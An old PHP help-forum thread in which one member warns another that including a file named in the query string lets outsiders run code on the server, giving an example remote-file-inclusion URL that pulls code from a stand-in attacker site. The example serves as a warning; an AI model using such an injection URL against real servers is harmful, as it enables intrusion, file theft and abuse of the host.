Blog Documentation Try Vanilla Cloud
Vanilla 1 is no longer supported or maintained. If you need a copy, you can get it here.
HackerOne users: Testing against this community violates our program's Terms of Service and will result in your bounty being denied.
Options

Php question

2

Comments

  • Options
    ithcyithcy New
    edited March 2006
    in fact, let me give you an example. just so you realize how dangerous it can be.

    http://your.server.com/file.php?http://mysite.com/myillicitcode.php

    that's right, include(), by default, will happily process files from remote sites.
    which means i could write any code i wanted and your file would process it right there, in place.
    which means i could write some code, to say, list out the entire contents of your directory tree and/or print the contents of any file from your site i want. or launch attacks on remote sites so that it looks like you're the attacker, or spam everyone on the planet, or whatever.

    do you see what i'm saying now? it's simple enough to prevent this kind of thing. you cannot include things from the query string. you just can't.
  • Options
    Mr. FahrenheitMr. Fahrenheit
    edited March 2006
    let me try
  • Options
    ithcyithcy New
    sure, i'm willing to help, if i can. you can try to describe it without getting into specifics like passwords and such - i'm sure you can figure out a way to lay it out.
  • Options
    Mr. FahrenheitMr. Fahrenheit
    ok I tried to include a php file from another website I have following the format you gave me for a url. I get: 
    XML Parsing Error:  no element found
  • Options
    ithcyithcy New
    you're just going to have to take my word that it's a very real, well-known and serious security problem. it's known as code injection. in fact it's spelled out under "security warning" in the official documentation for the include function. i don't know how else i can warn you.
  • Options
    Mr. FahrenheitMr. Fahrenheit
    I'm in no way trying to say that you are wrong. I'm just wondering why it's not doing it in my case.

    I'll try to work on the wording of how my code is all layed out for ease of readability.
  • Options
    ithcyithcy New
    edited March 2006
    well, assuming that you don't have any xml functions in the code you're talking about here, that xml warning is coming from the remote site, which means it is doing it
  • Options
    Mr. FahrenheitMr. Fahrenheit
    I seem to be irritating you with my ignorance, haha. I'll post back with a more clearly written explanation of my problem later on.
  • Options
    ithcyithcy New
    no, not at all. sorry if i'm coming across that way!
  • Options
    Mr. FahrenheitMr. Fahrenheit
    In the meantime...

    http://onemanshortproductions.com

    So you can see what I'm working with, at least.
  • Options
    Mr. FahrenheitMr. Fahrenheit
    I tried emailing you but i got a mailer daemon error. Anyways, this is what I said: Yeah, I do have database access. I'm willing to assume I've gone about everything wrong and am open to suggestion and willing to do the base over again. Any help would, well, help. =P
  • Options
    Mr. FahrenheitMr. Fahrenheit
    you lost interest?
  • Options
    BergamotBergamot
    Do you know that you aren't whispering?
  • Options
    Mr. FahrenheitMr. Fahrenheit
    edited March 2006
    aye. Whispering didn't make the topic look unread to me nor did it notify that I had a whisper and so I didn't know he had whispered me until 5 days or so after. This way, it gives indication.
  • Options
    BergamotBergamot
    Yeah but you look like you're talking to yourself.
  • Options
    Mr. FahrenheitMr. Fahrenheit
    lol well in the last 2 posts I have been... :P
  • Options
    ithcyithcy New
    haha... i haven't been around in a while.
    no, i didn't lose interest. can you try emailing me again? it's a gmail address, you shouldn't have any delivery problems.
  • Options
    Mr. FahrenheitMr. Fahrenheit
    Ok, how would i got about checking to see if a variable was declared, and if it was declared, then echo something?
  • Options
    Mr. FahrenheitMr. Fahrenheit
    ^ question directed towards anyone.
  • Options
    NickENickE New
    http://www.php.net/isset
This discussion has been closed.